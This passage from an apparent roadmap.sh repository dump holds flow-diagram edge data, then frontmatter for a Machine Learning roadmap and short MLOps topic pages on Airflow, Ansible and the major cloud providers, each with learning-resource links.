\"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZVbnAF9I1r8qWFFYG6nXv\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"bIhGv4886V4RWJD3tX0a0\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__ZVbnAF9I1r8qWFFYG6nXvz2-bIhGv4886V4RWJD3tX0a0y1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZVbnAF9I1r8qWFFYG6nXv\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"5xxAg18h74pDAUPy6P8NQ\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__ZVbnAF9I1r8qWFFYG6nXvz2-5xxAg18h74pDAUPy6P8NQy1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZVbnAF9I1r8qWFFYG6nXv\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Ddhph9saFgfMi-uUFGK75\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__ZVbnAF9I1r8qWFFYG6nXvz2-Ddhph9saFgfMi-uUFGK75y1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZVbnAF9I1r8qWFFYG6nXv\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"m4vmnxRMBf7zwNnwrMEnk\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__ZVbnAF9I1r8qWFFYG6nXvz2-m4vmnxRMBf7zwNnwrMEnky1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZVbnAF9I1r8qWFFYG6nXv\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"vBnqnIh_xSn0OuY9oQ5e-\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__ZVbnAF9I1r8qWFFYG6nXvz2-vBnqnIh_xSn0OuY9oQ5e-y1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZVbnAF9I1r8qWFFYG6nXv\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"D1vCHxbpoDqeieiZGC5Kp\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__ZVbnAF9I1r8qWFFYG6nXvx2-D1vCHxbpoDqeieiZGC5Kpw2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"D1vCHxbpoDqeieiZGC5Kp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ajKU5CPlbn7BbWHEhUNaB\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__D1vCHxbpoDqeieiZGC5Kpy2-ajKU5CPlbn7BbWHEhUNaBz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ajKU5CPlbn7BbWHEhUNaB\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"cffITx6oAcnvJlK1VLdi8\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__ajKU5CPlbn7BbWHEhUNaBx2-cffITx6oAcnvJlK1VLdi8w2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cffITx6oAcnvJlK1VLdi8\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"x7vlCNAxfJzobj9HcTaJy\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__cffITx6oAcnvJlK1VLdi8x2-x7vlCNAxfJzobj9HcTaJyw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cffITx6oAcnvJlK1VLdi8\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gKu6tnpTO2PhDDMYp2u7F\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__cffITx6oAcnvJlK1VLdi8z2-gKu6tnpTO2PhDDMYp2u7Fy2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gKu6tnpTO2PhDDMYp2u7F\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"xGO1X9aZRgKcgzi6r1xq8\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__gKu6tnpTO2PhDDMYp2u7Fx2-xGO1X9aZRgKcgzi6r1xq8w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gKu6tnpTO2PhDDMYp2u7F\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"7rjXtHQhJF6B4iytzS6uu\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__gKu6tnpTO2PhDDMYp2u7Fz2-7rjXtHQhJF6B4iytzS6uuy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CBSGvGPoI53p7BezXNm6M\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vQI-4uFQJ6694nm1SCpDR\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__CBSGvGPoI53p7BezXNm6My2-vQI-4uFQJ6694nm1SCpDRz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vQI-4uFQJ6694nm1SCpDR\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"6pRmzfpARAApr1JRCC7f5\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"selected\": true,\n      \"id\": \"xy-edge__vQI-4uFQJ6694nm1SCpDRy2-6pRmzfpARAApr1JRCC7f5w2\",\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EtU_9MOklVBvnvyg30Yfx\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"GdPSm-37Qw8J7uNj9XWYJ\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__EtU_9MOklVBvnvyg30Yfxz2-GdPSm-37Qw8J7uNj9XWYJy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vmERbhRIevLLNc7Ny2pWp\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"5dKl6SUQhOsZfUtVR5hzw\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__vmERbhRIevLLNc7Ny2pWpx2-5dKl6SUQhOsZfUtVR5hzww1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GdPSm-37Qw8J7uNj9XWYJ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"99TI95HVGrXIYr-PIDxhC\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__GdPSm-37Qw8J7uNj9XWYJx2-99TI95HVGrXIYr-PIDxhCw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5dKl6SUQhOsZfUtVR5hzw\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"oyL0M2OP4NTNbIO3zq-Hz\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__5dKl6SUQhOsZfUtVR5hzwz2-oyL0M2OP4NTNbIO3zq-Hzy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5dKl6SUQhOsZfUtVR5hzw\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"anEGWHVpcp75e3jQrj_LZ\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__5dKl6SUQhOsZfUtVR5hzwz2-anEGWHVpcp75e3jQrj_LZy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5dKl6SUQhOsZfUtVR5hzw\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"FdNY8QUbPPpeHFgD8TTaD\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__5dKl6SUQhOsZfUtVR5hzwz2-FdNY8QUbPPpeHFgD8TTaDy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5dKl6SUQhOsZfUtVR5hzw\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3wib9UH0_OLhKjqKoZEMv\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__5dKl6SUQhOsZfUtVR5hzwz2-3wib9UH0_OLhKjqKoZEMvy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5dKl6SUQhOsZfUtVR5hzw\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0hi0LdCtj9Paimgfc-l1O\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__5dKl6SUQhOsZfUtVR5hzwx2-0hi0LdCtj9Paimgfc-l1Ow2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0hi0LdCtj9Paimgfc-l1O\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"vRS7DW2WUaXiHk9oJgg3z\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__0hi0LdCtj9Paimgfc-l1Oz2-vRS7DW2WUaXiHk9oJgg3zy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0hi0LdCtj9Paimgfc-l1O\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"GKMhIXEuSKdW75-24Zopb\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__0hi0LdCtj9Paimgfc-l1Oz2-GKMhIXEuSKdW75-24Zopby1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0hi0LdCtj9Paimgfc-l1O\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"PSDG8k44DbOiMrSYsQ0Rx\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__0hi0LdCtj9Paimgfc-l1Oy2-PSDG8k44DbOiMrSYsQ0Rxz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4dxZmLg0UEaaVEORupOOC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"A_Kx3pEj0jpnLJzdOpcQ9\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__4dxZmLg0UEaaVEORupOOCz2-A_Kx3pEj0jpnLJzdOpcQ9y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"A_Kx3pEj0jpnLJzdOpcQ9\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_Z2miSW4PwILMRtBFajBn\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__A_Kx3pEj0jpnLJzdOpcQ9z2-_Z2miSW4PwILMRtBFajBny1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BtO2wH7YYqE25HShI6sd9\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"I-GEE7PvpQmhQSfZmxqwA\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__BtO2wH7YYqE25HShI6sd9y2-I-GEE7PvpQmhQSfZmxqwAz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BtO2wH7YYqE25HShI6sd9\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"YWxSI45e5K_4YOrvmh6LV\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__BtO2wH7YYqE25HShI6sd9y2-YWxSI45e5K_4YOrvmh6LVz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gCGHtxqD4V_Ite_AXMspf\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"H0cscBaExZPNZuFubBUv7\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__gCGHtxqD4V_Ite_AXMspfy2-H0cscBaExZPNZuFubBUv7z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"H0cscBaExZPNZuFubBUv7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"-tzeA13f2jYDm4aO5JciT\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__H0cscBaExZPNZuFubBUv7y2--tzeA13f2jYDm4aO5JciTw1\",\n      \"selected\": true,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-tzeA13f2jYDm4aO5JciT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"oTKC1o1OOnPiTh60a8yVc\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__-tzeA13f2jYDm4aO5JciTz2-oTKC1o1OOnPiTh60a8yVcy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-tzeA13f2jYDm4aO5JciT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"rDIg16eb6B6um1P8uMy51\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__-tzeA13f2jYDm4aO5JciTz2-rDIg16eb6B6um1P8uMy51y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-tzeA13f2jYDm4aO5JciT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"J1aGPkZqDZfUwpVmC88AL\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__-tzeA13f2jYDm4aO5JciTz2-J1aGPkZqDZfUwpVmC88ALy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-tzeA13f2jYDm4aO5JciT\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"kvf2CUKBe4qSbZla4Brh3\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__-tzeA13f2jYDm4aO5JciTx2-kvf2CUKBe4qSbZla4Brh3w2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kvf2CUKBe4qSbZla4Brh3\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"IR0wVIcu1MxOOBiLBnn8S\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__kvf2CUKBe4qSbZla4Brh3z2-IR0wVIcu1MxOOBiLBnn8Sy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IR0wVIcu1MxOOBiLBnn8S\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"2eiJQUo9lA32lOTR6kbBp\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__IR0wVIcu1MxOOBiLBnn8Sz2-2eiJQUo9lA32lOTR6kbBpy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JVXe2QDQaqiJYPupIMhWe\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Tv3sZvus76dmu0X9AqCIU\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__JVXe2QDQaqiJYPupIMhWey2-Tv3sZvus76dmu0X9AqCIUz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}\n"
  },
  {
    "path": "src/data/roadmaps/machine-learning/machine-learning.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/machine-learning.json'\npdfUrl: '/pdfs/roadmaps/machine-learning.pdf'\norder: 4.99\nrenderer: \"editor\"\nbriefTitle: 'Machine Learning'\nbriefDescription: 'Step by step guide to becoming a Machine Learning Engineer in 2025'\ntitle: 'Machine Learning'\ndescription: 'Step by step guide to becoming a Machine Learning Engineer in 2025'\nhasTopics: true\nisNew: true\ndimensions:\n  width: 968\n  height: 4250\nschema:\n  headline: 'Machine Learning Roadmap'\n  description: 'Learn how to become a Machine Learning Engineer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/machine-learning.png'\n  datePublished: '2025-08-19'\n  dateModified: '2025-08-19'\nseo:\n  title: 'Machine Learning Roadmap'\n  description: 'Learn to become a Machine Learning Engineer using this roadmap. Community driven, articles, resources, guides, interview questions, quizzes for modern machine learning engineers.'\n  keywords:\n    - 'machine learning roadmap 2025'\n    - 'ml engineer roadmap 2025'\n    - 'guide to becoming a machine learning engineer'\n    - 'easy machine learning roadmap'\n    - 'machine learning engineer'\n    - 'ml roadmap'\n    - 'ai engineer roadmap'\n    - 'machine learning skills'\n    - 'ml engineer skills'\n    - 'skills for machine learning'\n    - 'machine learning quiz'\n    - 'machine learning interview questions'\nrelatedRoadmaps:\n  - 'python'\n  - 'ai-data-scientist'\n  - 'ai-engineer'\n  - 'ai-agents'\n  - 'data-analyst'\n  - 'data-engineer'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/mlops/content/airflow@AjZHJcxUY29WZbCvr3zrs.md",
    "content": "# Airflow\n\nAirflow is a platform used to programmatically author, schedule, and monitor workflows. It allows you to define workflows as Directed Acyclic Graphs (DAGs) of tasks, where each task represents a unit of work. Airflow then executes these tasks in the specified order, handling dependencies, retries, and logging along the way.\n\nVisit the following resources to learn more:\n\n- [@official@Airflow](https://airflow.apache.org/)\n- [@official@Airflow Docs](https://airflow.apache.org/docs)\n- [@opensource@airflow](https://github.com/apache/airflow)\n- [@article@Building Pipelines In Apache Airflow – For Beginners](https://towardsdatascience.com/building-pipelines-in-apache-airflow-for-beginners-58f87a1512d5/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@What is Apache Airflow? For beginners](https://www.youtube.com/watch?v=CGxxVj13sOs)\n- [@video@Apache Airflow Tutorial for Data Engineers](https://www.youtube.com/watch?v=y5rYZLBZ_Fw)\n- [@feed@Explore top posts about Apache Airflow](https://app.daily.dev/tags/apache-airflow?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/airflow@pVSlVHXIap0unFxLGM-lQ.md",
    "content": "# Airflow\n\nAirflow is a platform to programmatically author, schedule, and monitor workflows. Use airflow to author workflows as directed acyclic graphs (DAGs) of tasks. The airflow scheduler executes your tasks on an array of workers while following the specified dependencies. Rich command-line utilities make performing complex surgeries on DAGs a snap. The rich user interface makes it easy to visualize pipelines running in production, monitor progress, and troubleshoot issues when needed. When workflows are defined as code, they become more maintainable, versionable, testable, and collaborative.\n\nVisit the following resources to learn more:\n\n- [@official@Airflow](https://airflow.apache.org/)\n- [@official@Airflow Documentation](https://airflow.apache.org/docs)\n- [@feed@Explore top posts about Apache Airflow](https://app.daily.dev/tags/apache-airflow?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/ansible@-_obgPIUaZ4BVpg29xG_9.md",
    "content": "# Ansible\n\nAnsible is an open-source automation tool used to configure systems, deploy software, and orchestrate more advanced IT tasks. It uses a simple, human-readable language (YAML) to define automation tasks, called playbooks. Ansible works by connecting to nodes (servers, virtual machines, etc.) and pushing out small programs called \"Ansible modules\" to them. These modules are then executed on the nodes, and the modules are removed when finished.\n\nVisit the following resources to learn more:\n\n- [@official@Ansible Website](https://www.ansible.com/)\n- [@article@What is Ansible? A Tool to Automate Parts of Your Job](https://www.freecodecamp.org/news/what-is-ansible/)\n- [@video@Ansible in 100 Seconds](https://www.youtube.com/watch?v=xRMPKQweySE)\n- [@video@Ansible Full Course for Beginners](https://www.youtube.com/watch?v=9Ua2b06oAr4)\n- [@video@Ansible Full Course to Zero to Hero](https://www.youtube.com/watch?v=GROqwFFLl3s)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/aws--azure--gcp@u3E7FGW4Iwdsu61KYFxCX.md",
    "content": "# AWS / Azure / GCP\n\nAWS (Amazon Web Services), Azure, and GCP (Google Cloud Platform) are three leading providers of cloud computing services. AWS by Amazon is the oldest and the most established among the three, providing a breadth and depth of solutions ranging from infrastructure services like compute, storage, and databases to machine learning and deep learning. Azure, by Microsoft, has integrated tools for DevOps, supports a large number of programming languages, and offers seamless integration with on-prem servers and Microsoft’s software. Google's GCP has strength in cost-effectiveness, live migration of virtual machines, and flexible computing options. All three have introduced various MLOps tools and services to boost capabilities for machine learning development and operations.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated AWS Roadmap](https://roadmap.sh/aws)\n- [@official@Microsoft Azure](https://docs.microsoft.com/en-us/learn/azure/)\n- [@official@Google Cloud 